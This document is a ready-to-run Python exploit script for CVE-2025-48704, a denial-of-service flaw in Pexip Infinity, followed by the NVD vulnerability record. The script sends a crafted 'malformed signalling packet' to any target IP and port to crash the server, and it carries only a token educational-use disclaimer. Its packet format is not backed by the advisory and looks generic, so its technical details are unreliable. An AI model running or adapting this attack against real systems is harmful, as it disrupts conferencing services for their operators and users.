CVE-2025-48704

#!/usr/bin/env python3 """ CVE-2025-48704 PoC - Pexip Infinity Improper Input Validation DoS Note: This PoC is for educational and security testing purposes only. """ import socket import struct import sys def create_malformed_signalling_packet(): """Generate a malformed signalling packet to trigger improper input validation""" # Pexip Infinity signalling protocol header header = b'PEXI' # Protocol identifier version = struct.pack('!H', 1) # Version 1 msg_type = struct.pack('!H', 0xFFFF) # Malformed message type # Craft payload with invalid input that triggers validation failure # This causes the software to call abort() payload = b'\x00' * 100 + b'\xFF\xFF\xFF\xFF' + b'\x00' * 50 packet = header + version + msg_type + payload return packet def send_exploit(target_ip, target_port=8443): """Send exploit payload to target""" print(f'[*] Target: {target_ip}:{target_port}') print('[*] Generating malformed signalling packet...') packet = create_malformed_signalling_packet() try: print('[*] Sending exploit payload...') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(packet) print('[+] Packet sent successfully') print('[*] Target should trigger abort() due to improper input validation') sock.close() except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8443 send_exploit(target, port)

{"cve": {"id": "CVE-2025-48704", "sourceIdentifier": "[email protected]", "published": "2025-12-25T05:16:07.237", "lastModified": "2026-01-05T19:29:49.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pexip Infinity 35.0 through 37.2 before 38.0 has Improper Input Validation in signalling that allows an attacker to trigger a software abort, resulting in a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pexip:pexip_infinity:*:*:*:*:*:*:*:*", "versionStartIncluding": "35.0", "versionEndExcluding": "38.0", "matchCriteriaId": "77CB2320-CBF1-415B-8504-213FB4C9C883"}]}]}], "references": [{"url": "https://docs.pexip.com/admin/security_bulletins.htm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}